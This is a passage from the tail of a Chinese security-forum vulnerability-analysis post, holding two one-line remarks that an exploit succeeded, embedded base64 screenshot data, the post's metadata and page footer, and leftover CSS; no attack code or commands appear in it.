ZvjB2+U9JidaRcLlJpv0plTg/ex8/LZC112/xAZe+zu4aIOndMlPPzE3WhUdLi8XLdyx+owPBK9cenwobPvXbtz5WI3M2vDOqwGtw0SGL82ym/O4krT6AAlLNDcdauktPhq7QAnJjOSR0FtNgaDSZgNQRAGk6ZQarwaEw90cU8mW+qHWape2/7CBUrqmnjsyvcf+22NiWJsPvnH647fxdD9AsOdCPtP//KDPgrd0Wv1tR9t/84VS/zqDEH9yzu/dnpibrW+rykk5dGvbwidtTUAAADwIXDdLPx43M8/udcZhDnDLzyJZzqPPlj8YtYEB9D84rLjkwJoCJViEiQ+/+Lawm253/tK3HB136RLzIFhcEKflLqrIL5g3+7f/259AtOVT1D75vMvfGV2+8mpbtcBAotqsLphWCYTOxLKlvKhqD27s1ISE9bu3L4nnmu14XfnlrKO0MLdWakJsasKN2eaKyt6ibsRykvamJ2Zmla4NnjcGFCQn5SclpOXZB8a0TmOOqEH5j3x2IHNKckJSfnZ4ere4Smva+EN4uQNeSnRiSvzd6SZymuG7DSZl7KLl3TctgUhkcF8ql9gZGyEiMUIJpG0qhVmWXJGTHxi2o4vPJIbROcFRriKhPAdlnfiIebVMhZWXEHu6tSkvB2ZIUMDg8RrZCeYTVtfXGVZk7FioRd8CCLJeXJXmr3tzJvvvnmirLJDZXKuNNdq1SK+kJCZhicUGSc1+KkioMvW70oYu3Kz3ehm6gVKeZgUm34rqZKX94Vv25mRHB+zcktu/Fh9g5LcT+YYbXKoV5SQJrQPll26x1p54LHCPKmurV9tprBjY0X9QxpX5e7o9FOmzqvXR3mRcfH++orj56vwQFAckUBrK6tXmGw2/fC98kadyYSbwdWv+caU+ksG5NV9WrOnj+m7W9VrDzy9Z+ue539TVPSdzNk394ggeeeTn3/iiScL2Hdvyf73re+mO+YOuw/94sqO3/7+G4/s2PPsa//fvurfHe9yyTvxfU0BAAAAD5DZx/WZIGyp4ZdfeE75K8GkG37IJeQDcVJQILHDDBYH6szui8IEeeu/gN74ypcOvvLX2l
<p blockindex=95>可以看出来是取出了我们的对象,成功达成目的</p>
<p blockindex=96><img src=data:image/png;base64,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
<p blockindex=97><img src=data:image/png;base64,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
<p blockindex=98>最后成功达成目的</p></div></div>
</div>
<div class="post-opt mt-30">
<ul class="list-inline text-muted">
<li>
<i class="fa fa-clock-o"></i>
发表于 2025-02-19 09:00:00
</li>
<li>阅读 ( 301 )</li>
<li>分类:<a href=https://forum.butian.net/community/Vul_analysis target=_blank rel="noopenner noreferrer">漏洞分析</a>
</li>
</ul>
</div>
</div>
<div class="text-center mt-30 mb-20">
<button id=support-button class="btn btn-success btn-lg mr-5" data-loading-text=加载中... data-source_type=community data-source_id=4153 data-support_num=0> 0 推荐</button>
<button id=collect-button class="btn btn-default btn-lg" data-loading-text=加载中... data-source_type=community data-source_id=4153> 收藏</button>
</div>
</div>
<div class="widget-answers mt-15">
<h2 class="h4 post-title">0 条评论</h2>
<div class=comment>
</div>
<div class="widget-comment-form row mt-20 mb-20">
<div class=col-md-12>
请先 <a class=a_unLogin href=https://forum.butian.net/login>登录</a> 后评论
</div>
</div>
<div class=text-center>
</div>
</div>
</div>
</div>
</div>
</div>
<footer id=footer>
<div class=container>
<div class=text-center>
<a href=https://forum.butian.net/>奇安信攻防社区</a><span class=span-line>|</span>
<a href=mailto:butian_report@qianxin.com target=_blank rel="noopenner noreferrer">联系我们</a><span class=span-line>|</span>
<a href=https://forum.butian.net/sitemap>sitemap</a>
</div>
<div class="copyright mt-10">
Copyright © 2013-2023 BUTIAN.NET 版权所有 <a href=https://beian.miit.gov.cn/#/Integrated/index>京ICP备18014330号-2</a>
</div>
</div>
</footer>
<div class="modal fade sf-hidden" id=sendTo_message_model tabindex=-1 role=dialog aria-labelledby=exampleModalLabel>
</div>
<div class="modal fade sf-hidden" id=send_report_model role=dialog aria-labelledby=exampleModalLabel>
</div> <div class="modal fade in sf-hidden" id=payment-qrcode-modal-article-4153 tabindex=-1 role aria-labelledby=exampleModalLabel aria-hidden=false>
</div>
<div style="display:none;position:fixed;top:40%;left:50%;z-index:9999;transform:translate(-50%,-50%);padding:3px 15px;border-radius:8px;background:rgba(120,120,120,0.7);box-shadow:1px 1px 3px 1px rgba(160,160,160,0.6);text-align:center;font-size:12px;color:#fff"></div><div id=windowLoading class="modal fade sf-hidden" tabindex=-1 role=dialog>
</div>
<span id=cnzz_stat_icon_1279782571></span>
<div class="geetest_panel geetest_wind" style=display:none></div><div id=immersive-translate-popup style=all:initial><template shadowrootmode=open><style class=sf-hidden>/*!
* Pico.css v1.5.6 (https://picocss.com)
* Copyright 2019-2022 - Licensed under MIT
*/#mount{--font-family:system-ui,-apple-system,"Segoe UI","Roboto","Ubuntu","Cantarell","Noto Sans",sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji";--line-height:1.5;--font-weight:400;--font-size:16px;--border-radius:0.25rem;--border-width:1px;--outline-width:3px;--spacing:1rem;--typography-spacing-vertical:1.5rem;--block-spacing-vertical:calc(var(--spacing)*2);--block-spacing-horizontal:var(--spacing);--grid-spacing-vertical:0;--grid-spacing-horizontal:var(--spacing);--form-element-spacing-vertical:0.75rem;--form-element-spacing-horizontal:1rem;--nav-element-spacing-vertical:1rem;--nav-element-spacing-horizontal:0.5rem;--nav-link-spacing-vertical:0.5rem;--nav-link-spacing-horizontal:0.5rem;--form-label-font-weight:var(--font-weight);--transition:0.2s ease-in-out;--modal-overlay-backdrop-filter:blur(0.25rem)}@media (min-width:576px){#mount{--font-size:17px}}@media (min-width:768px){#mount{--font-size:18px}}@media (min-width:992px){#mount{--font-size:19px}}@media (min-width:1200px){#mount{--font-size:20px}}@media (min-width:576px){#mount>header,#mount>main,#mount>footer,section{--block-spacing-vertical:calc(var(--spacing)*2.5)}}@media (min-width:768px){#mount>header,#mount>main,#mount>footer,section{--block-spacing-vertical:calc(var(--spacing)*3)}}@media (min-width:992px){#mount>header,#mount>main,#mount>footer,section{--block-spacing-vertical:calc(var(--spacing)*3.5)}}@media (min-width:1200px){#mount>header,#mount>main,#mount>footer,section{--block-spacing-vertical:calc(var(--spacing)*4)}}@media (min-width:576px){article{--block-spacing-horizontal:calc(var(--spacing)*1.25)}}@media (min-width:768px){article{--block-spacing-horizontal:calc(var(--spacing)*1.5)}}@media (min-width:992px){article{--block-spacing-horizontal:calc(var(--spacing)*1.75)}}@media (min-width:1200px){article{--block-spacing-horizontal:calc(var(--spacing)*2)}}dialog>article{--block-spacing-vertical:calc(var(--spacing)*2);--block-spacing-horizontal:var(--spacing)}@media (min-width:576px){dialog>article{--block-spacing-vertical:calc(var(--spacing)*2.5);--block-spacing-horizontal:calc(var(--spacing)*1.25)}}@media (min-width:768px){dialog>article{--block-spacing-vertical:calc(var(--spacing)*3);--block-spacing-horizontal:calc(var(--spacing)*1.5)}}a{--text-decoration:none}a.secondary,a.contrast{--text-decoration:underline}small{--font-size:0.875em}h1,h2,h3,h4,h5,h6{--font-weight:700}h1{--font-size:2rem;--typography-spacing-vertical:3rem}h2{--font-size:1.75rem;--typography-spacing-vertical:2.625rem}h3{--font-size:1.5rem;--typography-spacing-vertical:2.25rem}h4{--font-size:1.25rem;--typography-spacing-vertical:1.874rem}h5{--font-size:1.125rem;--typography-spacing-vertical:1.6875rem}[type="checkbox"],[type="radio"]{--border-width:2px}[type="checkbox"][role="switch"]{--border-width:3px}thead th,thead td,tfoot th,tfoot td{--border-width:3px}:not(thead,tfoot)>*>td{--font-size:0.875em}pre,code,kbd,samp{--font-family:"Menlo","Consolas","Roboto Mono","Ubuntu Monospace","Noto Mono","Oxygen Mono","Liberation Mono",monospace,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji"}kbd{--font-weight:bolder}[data-theme="light"],#mount:not([data-theme="dark"]){--background-color:#fff;--background-light-green:#F5F7F9;--color:hsl(205deg,20%,32%);--h1-color:hsl(205deg,30%,15%);--h2-color:#24333e;--h3-color:hsl(205deg,25%,23%);--h4-color:#374956;--h5-color:hsl(205deg,20%,32%);--h6-color:#4d606d;--muted-color:hsl(205deg,10%,50%);--muted-border-color:hsl(205deg,20%,94%);--primary:hsl(195deg,85%,41%);--primary-hover:hsl(195deg,90%,32%);--primary-focus:rgba(16,149,193,0.125);--primary-inverse:#fff;--secondary:hsl(205deg,15%,41%);--secondary-hover:hsl(205deg,20%,32%);--secondary-focus:rgba(89,107,120,0.125);--secondary-inverse:#fff;--contrast:hsl(205deg,30%,15%);--contrast-hover:#000;--contrast-focus:rgba(89,107,120,0.125);--contrast-inverse:#fff;--mark-background-color:#fff2ca;--mark-color:#543a26;--ins-color:#388e3c;--del-color:#c62828;--blockquote-border-color:var(--muted-border-color);--blockquote-footer-color:var(--muted-c